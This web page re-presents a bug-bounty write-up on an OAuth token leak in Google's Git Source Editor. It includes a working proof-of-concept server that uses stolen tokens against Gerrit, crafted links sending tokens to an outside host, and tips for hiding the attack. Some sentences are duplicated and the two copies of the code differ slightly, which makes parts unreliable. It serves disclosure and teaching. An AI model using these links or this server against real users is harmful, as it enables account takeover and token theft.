Skip to content
OAuth / SSO Write-up Intermediate

googlesource.com access_token leak

The Git Source Editor validated redirect URLs with a flawed regular expression, so a crafted link could make the editor send the user's OAuth access token to an attacker-controlled host. An attacker could then use that token to read and write Chromium Gerrit data as the victim.

NDevTK Follow

Published on ndevtk.github.io

Bounty$7,500 View original

A bug in the Git Source Editor, the official browser-based tool by Google for editing files in projects such as Chromium and Android, allowed to leak the user’s OAuth token by redirecting to an attacker-controlled URL supplied in the URL parameters.

NDevTK, on ndevtk.github.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

The Git Source Editor is Google's official browser-based tool for editing files in projects such as Chromium and Android. The public instances named in the report are https://edit.chromium.org/edit and https://ci.android.com/edit. The editor loads files from *.googlesource.com (or *.[redacted].google.com) repositories and, when the user logs in, uses OAuth to obtain an access token so it can act on the user's behalf against Gerrit.

A bug in the editor allowed the user's OAuth token to be leaked by redirecting to an attacker-controlled URL supplied in the URL parameters. The report was filed against the Google program, automatically assigned P2, and later given S2 after human review. It was awarded $7,500.

Setup

No special account setup is required beyond a Google account that can authorise the editor's OAuth app. The report notes two scenarios: the user has previously authorised the "Android Build Team" OAuth app, or the user has not. In the second case the user sees a legitimate Google OAuth prompt for the app and only needs to grant access. There are no other preconditions.

To run the proof of concept yourself you need Node.js and a TLS certificate. The report's server was generated with certbot from Let's Encrypt, and the server must run over HTTPS. The PoC server listens on port 1338 in the code shown, while the PoC URLs point at ports 1337 and 1338.

Finding it

The editor validated redirect URLs with a set of regular expressions. Normally the URL would be restricted to *.googlesource.com or *.[redacted].google.com, but the regex did not correctly validate the URLs. The report gives this example:

Text
https://android.googlesource.com/aogarantiza.com:1337#.googlesource.com/platform/build/+show/refs/heads/master/Changes.md

This sends a request to https://aogarantiza.com:1337 instead of https://android.googlesource.com, which made it possible to leak the access_token to the attacker.

The relevant matchers and the parsing function are:

JavaScript
L1.GERRIT_LINK_MATCHER =
  /(.*\/)?(.*?)\.((googlesource\.com)|(git\.corp\.google\.com))\/(.*)\/\+([a-zA-Z0-9]+)?(\/refs\/heads)?\/(.*?)[\/^](.*)/;
L1.GERRIT_LINK_MATCHER_FOR_CHANGE_FILE =
  /(.*\/)?(.*?)\.((googlesource\.com)|(git\.corp\.google\.com))\/?(\/c)?\/(.*)\/\+\/([0-9]+)\/([0-9]+)\/(.*)/;
L1.GERRIT_LINK_MATCHER_FOR_CHANGE_FILE_IN_GITLES =
  /(.*\/)?(.*?)\.((googlesource\.com)|(git\.corp\.google\.com))\/(.*)\/\+([a-zA-Z0-9]+)?(\/refs\/changes)?\/([0-9]+)\/([0-9]+)\/([0-9]+)[\/^](.*)/;

function Z1(a) {
  if (
    !Cra.some(function (g) {
      return null != g.exec(new URL(a).origin);
    })
  )
    throw Error('Invalid host domain passed ' + a);
  var d = L1.GERRIT_LINK_MATCHER.exec(a),
    f = Dra.exec(a);
  if (f)
    return {
      host: f[2],
      project: f[6],
      branch: f[7],
      file: f[8]
    };
  if (d)
    return {
      host: d[2],
      project: d[6],
      branch: d[9],
      file: d[10]
    };
  throw Error('Unable to parse change pieces.');
}

The host check tests new URL(a).origin against a list of allowed patterns in Cra, but the parsing then runs the matchers against the full URL string a. The origin check passes because the origin is a genuine googlesource.com host, while the full-string match picks up a different host from the path portion.

Exploitation

Step 1: Stand up the attacker server

The PoC server emulates a Gerrit file listing and, when it receives a request carrying an access_token query parameter, uses that token against Chromium's Gerrit Code Review REST API. The full server.js from the report:

JavaScript
const http = require('http');
const https = require('https');
const url = require('url');
const fs = require('fs');

const port = 1338;

const app = (req, res) => {
  try {
    // Use this to avoid an error modal about Gerrit account missing.
    // We could leave modal to distract from the main error that shows the attacker URL.
    // Attacker URL could also be obscured further.
    console.info('Request origin:', req.headers.origin);
    res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
    res.setHeader('Access-Control-Allow-Credentials', true);
  } catch (e) {
    console.info('Error');
  }

  res.statusCode = 200;

  // Emulate a file listing (optional but errors look bad)
  const dirResponse = {
    id: '[redacted]',
    entries: [
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: '.gitignore'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'Changes.md'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'CleanSpec.mk'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'Deprecation.md'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'METADATA'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'OWNERS'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'PREUPLOAD.cfg'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'README.md'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'Usage.txt'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'buildspec.mk.default'
      },
      {
        mode: 16384,
        type: 'tree',
        id: '[redacted]',
        name: 'common'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'HELLO_FROM_AO.txt'
      },
      {
        mode: 33188,
        type: 'blob', // Type param will be injected as CSS class in an element, but this is of limited use
        id: '[redacted]',
        name: 'HELLO_FROM_AO_SERVER' // Will be added as text
      }
    ]
  };

  const query = url.parse(req.url, true).query;
  if (query?.format == 'JSON') {
    res.end(")]}'" + JSON.stringify(dirResponse));
  } else if (query?.format == 'TEXT') {
    res.end('TEXT RESPONSE');
  } else {
    res.end('Hello World');
  }

  if (!query.access_token) return;

  const payloadTimestamp = new Date();
  // const payload = ' { "display_name": "PoC display name! Set on '+payloadTimestamp+'" }';
  const payload =
    ' { "status": "Hello from PoC by NDevTK. This field was set on ' +
    payloadTimestamp +
    ' by PoC script hosted on Alesandro Ortiz\'s server." }';
  const options = {
    hostname: 'chromium-review.googlesource.com',
    port: 443,
    path:
      '/a/accounts/self/status?access_token=' +
      encodeURIComponent(query.access_token),
    method: 'PUT',
    headers: {
      'Content-Type': 'application/json',
      'Content-Length': payload.length
    }
  };

  const api = https.request(options, (response) => {});
  api.write(payload);
  api.end();
};

https
  .createServer(
    {
      key: fs.readFileSync('privkey.pem'),
      cert: fs.readFileSync('fullchain.pem')
    },
    app
  )
  .listen(port, () => {
    console.log(`Server running on port ${port}`);
  });

The server reflects the request Origin into Access-Control-Allow-Origin and sets Access-Control-Allow-Credentials: true, so the editor's cross-origin request is not blocked. It answers format=JSON requests with a Gerrit-style prefixed JSON directory listing (the )]}' prefix is the Gerrit anti-XSSI guard), format=TEXT with TEXT RESPONSE, and anything else with Hello World. When an access_token is present it issues a PUT to /a/accounts/self/status?access_token=... on chromium-review.googlesource.com with a JSON body that sets the account status field. The comment notes that the type value is injected as a CSS class in an element, which is of limited use, and that the name value is added as text.

Step 2: Send the victim to a crafted URL

PoC URL 1 sends credentials to the PoC server on https://aogarantiza.com:1338, loads a legitimate file, and also spoofs the directory listing:

Text
https://edit.chromium.org/edit?repo=android/platform/build/&file=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md%3Fhttps%3A%2F%2Faogarantiza.com%3A1338%23android.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2F

The file parameter carries a traversal path ending in Changes.md?https://aogarantiza.com:1338#android.googlesource.com/.... The directory listing is populated with attacker-controlled content, limited to text via name and a CSS class injection via type.

The same PoC with extra dummy parameters to obscure the suspicious parameter in the address bar:

Text
https://edit.chromium.org/edit?repo=android%2Fplatform%2Fbuild%2F&files=platform%2Fbuild%2Frefs%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md&project=android&theme=default&editmode=default&showfilelist=1&showsidebar=1&showfooter=1&quickstart=1&showfeedback=1&autosave=1&file=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md%3Fhttps%3A%2F%2Faogarantiza.com%3A1338%23android.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2F

PoC URL 2 sends credentials to the PoC server on https://aogarantiza.com:1337 and does not spoof the directory listing:

Text
https://edit.chromium.org/edit?file=https%3A%2F%2Fandroid.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md%2Faogarantiza.com%3A1337%23android.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md

PoC URL 3 sends credentials to a non-existent hostname:

Text
https://edit.chromium.org/edit?file=https%3A%2F%2Fandroid.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md%2Fexample.example.example%23android.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md

For PoC URL 1 or 2 the report recommends a test Google account, since the access token is sent to https://aogarantiza.com:1337/1338, which runs the PoC server above. That server updates the "About me" (status) field in Chromium Gerrit but does not log the access token.

Step 3: Confirm the token was received

There are three ways to observe the leak.

  1. Previously authorised scenario: navigate to PoC URL 1 or 2. After the page loads, a token is sent to the attacker's PoC server. To demonstrate the theft, the PoC server updates the user profile's "About me" field in Chromium Gerrit. Verify by navigating to https://chromium-review.googlesource.com/settings/ while logged in to the same Google account and observing the updated field.
  2. Not yet authorised scenario: navigate to PoC URL 1 or 2, click "Log in" when prompted by the editor, go through the OAuth flow (select the Google account if prompted, then click "Allow" for the OAuth app). After auth completes, a token is sent to the attacker's PoC server, and the same status-field check confirms it.
  3. DevTools: open a new tab, open DevTools, switch to the Network tab, and navigate the same tab to PoC URL 1, 2 or 3. If logged out, follow the OAuth steps above. After the editor loads, observe a request to the attacker URL (https://aogarantiza.com:*) carrying an access token of the OAuth app. Filter with domain:aogarantiza.com (using the domain actually used in the attack) to find it more easily.

If the receiving server does not have the correct CORS headers, it still receives the token, because the browser must make the request to see which CORS headers the server responds with. The attack therefore still succeeds even if the request appears to "fail" with a CORS error. The PoC server sends the appropriate headers, but the PoC can be modified to test the no-CORS-headers case.

Or watch on YouTube
From the original on ndevtk.github.io

When an attacker knows the victim is already authorised on edit.chromium.org, the crafted URL can be opened in a popup or popunder, and the page navigated away or closed after the attack completes. In the PoC URLs the attacker URL is obscured in the URL parameters where it is less likely to be detected, and a shorter lookalike origin such as gsource[.]co could also be used.

Root cause

The validation and the parsing disagree about what the URL is. Z1 first checks that new URL(a).origin matches one of the allowed host patterns, then runs GERRIT_LINK_MATCHER (and Dra) against the whole string a. The origin check passes on the genuine origin, while the matcher run against the whole string picks up the attacker host from the path. The origin check passes on the genuine origin, and the parsed host used for the redirect is the attacker's. The report does not describe any additional defence that would have caught the mismatch.

Impact

The leaked token's scope is:

Text
email profile https://www.googleapis.com/auth/userinfo.profile openid https://www.googleapis.com/auth/gerritcodereview https://www.googleapis.com/auth/[redacted] https://www.googleapis.com/auth/userinfo.email

In plain terms, the report lists:

  • View and manage your Git repositories
  • View and manage Internal Android Build status and results

Based on testing, the token has permission to read Google account info and read and write access to most if not all Chromium Gerrit endpoints, including Gerrit profile fields and access to git repositories (directory listings, read, write, and so on). The report assumes that if a user has access to restricted or internal git repositories, those would be accessible to the attacker with the leaked token. It is not sure what other permissions the gerritcodereview and [redacted] scopes provide, which may include access to internal tools used by the repos. Change lists may contain sensitive information, and an attacker could submit their own change as the victim or set the victim's display name to a duck emoji.

The report sketches a supply-chain angle: make a commit as user A, review as user B, approve as user C, and it all looks normal externally unless one of those people notices they did not commit or review it. With PoC URL 1 the directory listing is spoofed to look like a real one and a legitimate file is loaded, to avoid detection; the listing can contain any reasonable attacker-controlled text, though this is of limited use beyond evasion.

Other instances of the editor may also be affected. The PoC uses https://edit.chromium.org/edit, but the same editor appears to be hosted at https://ci.android.com/edit, and there may be internal or other public instances. Access tokens may expire after a certain period or be revoked for other reasons.

There is an embed version of the Git Source Editor that replaces googlesource.com URLs with [redacted].google.com because pluginMode is true:

JavaScript
state.store = {...state.store, pluginMode: true};

The report is not aware of a way to exploit that usage since it does not use OAuth, but OAuth can be forced with the enable-gis URL parameter. The report also points to a Gerrit feature (plugins.allowRemoteAdmin) that could possibly be exploited to RCE with a jar file if used with the correct token.

Fix

The report does not describe the fix that was applied.

Variants to test

  1. Any client-side redirect or link parser that checks new URL(x).origin but then extracts a host from the full string with a regex. Try appending /attacker.example# or ?attacker.example# after a legitimate path and see whether the redirect target changes while the origin check still passes.
  2. The same editor on other hosts (ci.android.com/edit and any internal instances). A positive result is the same token-bearing request to your server.
  3. The embed version with enable-gis forced on. A positive result is an OAuth token request to your origin from the embedded editor.
  4. Lookalike origins such as gsource[.]co in the same parameter position, to test whether the matcher accepts them. A positive result is a request to the lookalike host carrying the token.
  5. A receiving server without CORS headers. A positive result is the token arriving in your logs even though the browser reports a CORS failure.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

Google runs a web page called the Git Source Editor. It is a tool that lets you open, read and change files in big software projects, such as Chromium (the code behind the Chrome browser) and Android (the phone operating system), directly in your browser instead of on your own computer. The public copies named in the report are at https://edit.chromium.org/edit and https://ci.android.com/edit.

To change files on your behalf, the editor needs permission from your Google account. It gets that permission through something called OAuth. OAuth is a way for one website to ask Google, "may I act for this person?", without ever seeing the person's password. If you say yes, Google hands the website a short string of characters called an access token. Think of the token as a cloakroom ticket: whoever holds the ticket can collect the coat, and the cloakroom does not ask who is holding it. Anyone who steals the token can do what the token allows, for as long as it stays valid.

The editor also accepts instructions in its web address (the URL). One of those instructions is which file to open. The editor was supposed to only ever load files from Google's own code servers, whose names end in googlesource.com or [redacted].google.com. A bug in the check that enforces this meant a specially built web address could make the editor send the user's access token to a server controlled by an attacker.

The report was filed with Google's bug bounty programme, which pays people for finding and reporting security problems. It was automatically given a priority label of P2, then raised to S2 after a human reviewed it, and it earned a $7,500 award.

Background you need first

A few ideas come up again and again below, so here they are before we start.

URL. The address of something on the web, like https://edit.chromium.org/edit?file=.... It has parts. The origin is the scheme plus the host plus the port, for example https://android.googlesource.com. The path is what comes after the host, like /platform/build/. A ? starts the query string, the part carrying settings such as ?file=.... A # starts the fragment, a part normally meant for the browser itself and not sent to the server. Two URLs can share an origin but differ completely in their path, and that difference is the heart of this bug.

Regular expression (regex). A pattern written in a compact syntax for matching text. For example, (.*\/)? means "optionally, any characters followed by a slash". Regexes are powerful but easy to get subtly wrong, and a wrong one can accept text it was meant to reject.

API. An interface that lets one piece of software ask another to do something, without a human clicking buttons. Here, Gerrit (Google's code review system) has a REST API: you send an HTTP request to a particular address and it performs an action, such as reading a file listing or changing a profile field.

HTTP request and response. The conversation between a browser and a server. The browser sends a request with a method (GET to read, PUT to update), an address, and sometimes a body of data. The server answers with a status code and content.

CORS. A browser safety rule. Normally a page from one origin may not read the answer to a request sent to a different origin, unless that other server explicitly says it is fine by sending headers such as Access-Control-Allow-Origin. Crucially, the browser still sends the request; it only blocks the page from reading the reply. That detail matters later.

OAuth scope. The list of permissions attached to a token, written as identifiers. A token with a narrow scope can do little; a broad one can do a lot.

Proof of concept (PoC). A small, working demonstration that a bug is real, usually built by the person who reported it.

DevTools. The built-in inspection panel in browsers such as Chrome, opened with F12. Its Network tab lists every request the page makes.

Setup

You do not need anything special to be a victim beyond a Google account that can approve the editor's OAuth app. The report describes two situations:

  1. The user has already approved the OAuth app before. Then merely opening the crafted link is enough.
  2. The user has never approved it. Then the editor shows Google's genuine permission screen, and the user only has to click Allow. There are no other preconditions.

To run the attacker's side yourself you need Node.js (a program that runs JavaScript outside a browser) and a TLS certificate, which is what makes a site use https:// and show the padlock. The report's certificate was made with certbot from Let's Encrypt. The server must run over HTTPS. The code shown listens on port 1338, while the crafted links point at ports 1337 and 1338.

Finding it

The editor checked redirect addresses with a set of regular expressions. The intent was to allow only *.googlesource.com or *.[redacted].google.com. The report gives this address as the example that slipped through:

Text
https://android.googlesource.com/aogarantiza.com:1337#.googlesource.com/platform/build/+show/refs/heads/master/Changes.md

Read it slowly. The real origin is https://android.googlesource.com, a genuine Google host. Everything after the first slash is the path, and the path contains aogarantiza.com:1337, the attacker's server. The # then starts a fragment containing .googlesource.com/.... The result was that a request went to https://aogarantiza.com:1337 instead of https://android.googlesource.com, which made it possible to leak the access_token to the attacker.

The matchers and the function that used them are:

JavaScript
L1.GERRIT_LINK_MATCHER =
  /(.*\/)?(.*?)\.((googlesource\.com)|(git\.corp\.google\.com))\/(.*)\/\+([a-zA-Z0-9]+)?(\/refs\/heads)?\/(.*?)[\/^](.*)/;
L1.GERRIT_LINK_MATCHER_FOR_CHANGE_FILE =
  /(.*\/)?(.*?)\.((googlesource\.com)|(git\.corp\.google\.com))\/?(\/c)?\/(.*)\/\+\/([0-9]+)\/([0-9]+)\/(.*)/;
L1.GERRIT_LINK_MATCHER_FOR_CHANGE_FILE_IN_GITLES =
  /(.*\/)?(.*?)\.((googlesource\.com)|(git\.corp\.google\.com))\/(.*)\/\+([a-zA-Z0-9]+)?(\/refs\/changes)?\/([0-9]+)\/([0-9]+)\/([0-9]+)[\/^](.*)/;

function Z1(a) {
  if (
    !Cra.some(function (g) {
      return null != g.exec(new URL(a).origin);
    })
  )
    throw Error('Invalid host domain passed ' + a);
  var d = L1.GERRIT_LINK_MATCHER.exec(a),
    f = Dra.exec(a);
  if (f)
    return {
      host: f[2],
      project: f[6],
      branch: f[7],
      file: f[8]
    };
  if (d)
    return {
      host: d[2],
      project: d[6],
      branch: d[9],
      file: d[10]
    };
  throw Error('Unable to parse change pieces.');
}

Line by line, in plain words:

  • The three L1.GERRIT_LINK_MATCHER... lines each define a named pattern. Each one looks for a dot, then either googlesource.com or [redacted].google.com, then a path with a + in it, and captures pieces of the address into numbered groups.
  • function Z1(a) is the function that takes an address a and works out which host, project, branch and file it refers to.
  • The if block calls new URL(a).origin, which asks the browser's URL parser for the true origin of the address, and tests it against a list of allowed patterns held in Cra. If none match, it throws Invalid host domain passed. This is the security check.
  • var d = L1.GERRIT_LINK_MATCHER.exec(a) and var f = Dra.exec(a) then run the patterns against the whole raw string a, not against the origin.
  • If f matched, the function returns an object built from its capture groups: host from group 2, project from group 6, branch from group 7, file from group 8.
  • If d matched instead, it returns the same kind of object using groups 2, 6, 9 and 10.
  • If neither matched, it throws Unable to parse change pieces.

The safety check looks at the origin, which is a genuine googlesource.com host, so it passes. The parsing then looks at the full string and picks up a different host from the path portion. The check and the use disagree about which host the address names.

Exploitation

Step 1: Stand up the attacker server

The attacker needs somewhere to receive the token. The PoC server pretends to be a Gerrit file listing, and when a request arrives carrying an access_token in its query string, it uses that token against Chromium's Gerrit Code Review REST API. The full server.js from the report:

JavaScript
const http = require('http');
const https = require('https');
const url = require('url');
const fs = require('fs');

const port = 1338;

const app = (req, res) => {
  try {
    // Use this to avoid an error modal about Gerrit account missing.
    // We could leave modal to distract from the main error that shows the attacker URL.
    // Attacker URL could also be obscured further.
    console.info('Request origin:', req.headers.origin);
    res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
    res.setHeader('Access-Control-Allow-Credentials', true);
  } catch (e) {
    console.info('Error');
  }

  res.statusCode = 200;

  // Emulate a file listing (optional but errors look bad)
  const dirResponse = {
    id: '[redacted]',
    entries: [
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: '.gitignore'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'Changes.md'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'CleanSpec.mk'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'Deprecation.md'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'METADATA'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'OWNERS'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'PREUPLOAD.cfg'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'README.md'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'Usage.txt'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'buildspec.mk.default'
      },
      {
        mode: 16384,
        type: 'tree',
        id: '[redacted]',
        name: 'common'
      },
      {
        mode: 33188,
        type: 'blob',
        id: '[redacted]',
        name: 'HELLO_FROM_AO.txt'
      },
      {
        mode: 33188,
        type: 'blob', // Type param will be injected as CSS class in an element, but this is of limited use
        id: '[redacted]',
        name: 'HELLO_FROM_AO_SERVER' // Will be added as text
      }
    ]
  };

  const query = url.parse(req.url, true).query;
  if (query?.format == 'JSON') {
    res.end(")]}" + JSON.stringify(dirResponse));
  } else if (query?.format == 'TEXT') {
    res.end('TEXT RESPONSE');
  } else {
    res.end('Hello World');
  }

  if (!query.access_token) return;

  const payloadTimestamp = new Date();
  // const payload = ' { "display_name": "PoC display name! Set on '+payloadTimestamp+'" }';
  const payload =
    ' { "status": "Hello from PoC by NDevTK. This field was set on ' +
    payloadTimestamp +
    ' by PoC script hosted on Alesandro Ortiz\'s server." }';
  const options = {
    hostname: 'chromium-review.googlesource.com',
    port: 443,
    path:
      '/a/accounts/self/status?access_token=' +
      encodeURIComponent(query.access_token),
    method: 'PUT',
    headers: {
      'Content-Type': 'application/json',
      'Content-Length': payload.length
    }
  };

  const api = https.request(options, (response) => {});
  api.write(payload);
  api.end();
};

https
  .createServer(
    {
      key: fs.readFileSync('privkey.pem'),
      cert: fs.readFileSync('fullchain.pem')
    },
    app
  )
  .listen(port, () => {
    console.log(`Server running on port ${port}`);
  });

What each part does:

  • The first four lines load Node's built-in modules for plain HTTP, HTTPS, URL parsing and file reading. https is needed because the server must speak TLS.
  • const port = 1338; fixes the listening port.
  • const app = (req, res) => { defines the function that handles every incoming request, with req holding the request and res the reply being built.
  • Inside the try, the server logs the request's Origin header and copies it into Access-Control-Allow-Origin, then sets Access-Control-Allow-Credentials: true. This is the CORS permission slip: it tells the browser that the editor's page is allowed to read this server's answer. Without it the browser would block the page from reading the reply, though as we will see the request would still arrive.
  • res.statusCode = 200; says "OK".
  • dirResponse is a fake directory listing shaped like what Gerrit returns: an id and a list of entries, each with a mode, a type (blob for a file, tree for a folder), an id and a name. Most entries are ordinary-looking file names. The last two are the attacker's own additions: HELLO_FROM_AO.txt and HELLO_FROM_AO_SERVER. The comments note that type ends up injected as a CSS class in an element, which is of limited use, and that name is added as text.
  • const query = url.parse(req.url, true).query; splits the query string into named values.
  • The if/else if/else chain answers based on a format parameter: format=JSON gets the fake listing prefixed with )]}', format=TEXT gets the literal string TEXT RESPONSE, and anything else gets Hello World. The )]}' prefix is Gerrit's anti-XSSI guard, a small marker that stops older browsers from treating the JSON as a script.
  • if (!query.access_token) return; is the important line: if no token arrived, the handler stops here. If a token did arrive, the rest runs.
  • payloadTimestamp records the current time, and payload builds a small JSON body setting a status message that includes that time and credits the server hosting. A commented-out alternative would have set display_name instead.
  • options describes the follow-up request: host chromium-review.googlesource.com, port 443, path /a/accounts/self/status?access_token= followed by the stolen token, method PUT, and JSON headers. The /a/ prefix in Gerrit means "authenticated".
  • https.request(options, ...) sends that request, api.write(payload) attaches the body, and api.end() finishes it. In other words, the attacker's server takes the stolen ticket and uses it to change the victim's status field, which proves the ticket works.
  • The final block starts an HTTPS server using privkey.pem and fullchain.pem (the certificate files) and listens on the chosen port.

Step 2: Send the victim to a crafted URL

PoC URL 1 sends credentials to the PoC server on https://aogarantiza.com:1338, loads a legitimate file, and also spoofs the directory listing:

Text
https://edit.chromium.org/edit?repo=android/platform/build/&file=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md%3Fhttps%3A%2F%2Faogarantiza.com%3A1338%23android.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2F

This looks like noise because many characters are percent-encoded: %2F is /, %3A is :, %3F is ?, %23 is #, %2B is +. Decoded, the file parameter is a path made of .. segments (which mean "go up one folder") ending in Changes.md?https://aogarantiza.com:1338#android.googlesource.com/.... Decoded, the file parameter is a path made of .. segments ending in Changes.md?https://aogarantiza.com:1338#android.googlesource.com/.... The directory listing is filled with attacker-chosen content, limited to text through name and a CSS class injection through type.

The same PoC with extra dummy parameters to hide the suspicious one in the address bar:

Text
https://edit.chromium.org/edit?repo=android%2Fplatform%2Fbuild%2F&files=platform%2Fbuild%2Frefs%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md&project=android&theme=default&editmode=default&showfilelist=1&showsidebar=1&showfooter=1&quickstart=1&showfeedback=1&autosave=1&file=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md%3Fhttps%3A%2F%2Faogarantiza.com%3A1338%23android.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2F

Here the malicious file value is buried among many harmless-looking settings (theme, editmode, showfilelist, autosave and so on). A person glancing at the address bar sees a long, ordinary-looking editor link rather than one obviously odd parameter.

PoC URL 2 sends credentials to the PoC server on https://aogarantiza.com:1337 and does not spoof the directory listing:

Text
https://edit.chromium.org/edit?file=https%3A%2F%2Fandroid.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md%2Faogarantiza.com%3A1337%23android.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md

Decoded, the file value starts with the genuine https://android.googlesource.com/... and then, after the real path, appends /aogarantiza.com:1337#.... The origin check sees the real Google host; the matcher picks the attacker host out of the path.

PoC URL 3 sends credentials to a non-existent hostname:

Text
https://edit.chromium.org/edit?file=https%3A%2F%2Fandroid.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md%2Fexample.example.example%23android.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md

This one uses example.example.example in place of the attacker host.

For PoC URL 1 or 2 the report recommends a test Google account, because the access token really is sent to https://aogarantiza.com:1337/1338, which runs the PoC server above. That server changes the "About me" (status) field in Chromium Gerrit but does not log the access token.

Step 3: Confirm the token was received

There are three ways to watch the leak happen.

  1. Already approved. Open PoC URL 1 or 2. Once the page loads, a token is sent to the attacker's server. To show the theft worked, the server changes the user profile's "About me" field in Chromium Gerrit. Check by going to https://chromium-review.googlesource.com/settings/ while signed in to the same Google account and looking at the field.
  2. Not yet approved. Open PoC URL 1 or 2, click "Log in" when the editor asks, and go through the OAuth flow: pick the Google account if asked, then click "Allow" for the app. When that finishes, a token is sent to the attacker's server, and the same status-field check confirms it.
  3. DevTools. Open a new tab, open DevTools, switch to the Network tab, and go to PoC URL 1, 2 or 3 in that tab. If you are signed out, do the OAuth steps above. After the editor loads, look for a request to the attacker's address (https://aogarantiza.com:*) carrying an access token of the OAuth app. To find it faster, filter with domain:aogarantiza.com, using whatever domain the attack actually uses.
Or watch on YouTube
From the original on ndevtk.github.io

If the receiving server lacks the right CORS headers, it still gets the token, because the browser has to send the request to find out which CORS headers come back. So the attack still succeeds even when the request appears to "fail" with a CORS error. The PoC server sends the right headers, but the PoC can be changed to test the no-CORS-headers case.

When an attacker knows the victim has already approved the app on edit.chromium.org, the crafted link can be opened in a popup or popunder, and the page navigated away or closed once the attack is done. In the PoC links the attacker address is hidden among the URL parameters where it is less likely to be noticed, and a shorter lookalike origin such as gsource[.]co could also be used.

Root cause

The check and the parsing disagree about what the address is. Z1 first confirms that new URL(a).origin matches one of the allowed host patterns, then runs GERRIT_LINK_MATCHER (and Dra) against the whole string a. The origin check passes on the genuine origin, while the matcher run against the whole string picks up the attacker host from the path. The origin check passes on the genuine origin, and the host used for the redirect is the attacker's. The report does not describe any other defence that would have caught the mismatch.

Impact

The leaked token's scope is:

Text
email profile https://www.googleapis.com/auth/userinfo.profile openid https://www.googleapis.com/auth/gerritcodereview https://www.googleapis.com/auth/[redacted] https://www.googleapis.com/auth/userinfo.email

In plain terms, the report lists:

  • View and manage your Git repositories
  • View and manage Internal Android Build status and results

Based on testing, the token can read Google account information and has read and write access to most if not all Chromium Gerrit endpoints, including Gerrit profile fields and access to git repositories (directory listings, read, write, and so on). The report assumes that if a user can reach restricted or internal git repositories, the attacker could reach them too with the leaked token. It is not sure what else the gerritcodereview and [redacted] scopes allow, which may include access to internal tools used by the repositories. Change lists may contain sensitive information, and an attacker could submit their own change as the victim or set the victim's display name to a duck emoji.

The report sketches a supply-chain angle: make a commit as user A, review as user B, approve as user C, and from the outside everything looks normal unless one of those people notices they did not commit or review it. With PoC URL 1 the directory listing is spoofed to look real and a legitimate file is loaded, to avoid detection; the listing can hold any reasonable attacker-chosen text, though that is of limited use beyond evasion.

Other copies of the editor may be affected too. The PoC uses https://edit.chromium.org/edit, but the same editor appears to be hosted at https://ci.android.com/edit, and there may be internal or other public copies. Access tokens may expire after a certain time or be revoked for other reasons.

There is an embed version of the Git Source Editor that swaps googlesource.com addresses for [redacted].google.com because pluginMode is true:

JavaScript
state.store = {...state.store, pluginMode: true};

